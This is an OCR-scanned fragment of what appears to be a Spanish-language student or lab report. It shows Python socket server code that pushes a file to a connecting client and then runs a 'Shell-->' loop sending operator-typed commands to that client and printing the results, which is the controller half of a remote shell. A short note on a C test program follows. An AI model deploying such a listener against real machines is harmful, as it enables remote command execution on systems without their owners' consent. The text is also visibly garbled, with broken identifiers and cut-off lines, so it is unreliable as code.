= 4096 #Tamafio buffer
socket.socket (socket.AF INET, socket.SOCK STREAM) as SocketServidor:

SocketServidor.setsockopt (socket.SOL SOCKET, socket.SO REUSEADDR, 1)
SocketServidor.bind ( (SERVIDOR, PUERTO) )
SocketServidor.listen ()
#Aceptamos la conexidn
try:
conn,addr = SocketServidor.accept ()
print ("Conexidén entrante aceptada[IP:",addr,"]")

except:
print ("Error de conexidén")
else:
try:
with open (FICHERO, 'rb') as fichero:
datos = fichero.read (TAM BUF)
print (datos)
while datos:
conn.send (datos)
datos=fichero.read (TAM BUF)
except:

print ("Fallo al abrir el fichero")
print ("Sale")
while True:
comando = input ("Shell-->")
if comando == 'quit':
conn.send(b'quit') #Si enviamos esto, cerramos el socket
iente y continuamos
conn.close () #Cerramos solo la conexidén con el

SocketServidor.close () #Cerramos porque solo esperamos una

print ("Saliendo...")
break
else:
print (comando)
conn.send (comando.encode () )
salida=conn.recv (4096) .decode ()

print (salida)

xception:
t("Algo fue mal...")
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C. programa.c

Este programa se utiliza para crear una variable que es impresa por pantalla, para que mediante la

prueba “Change variable” se modifique el valor de esta.
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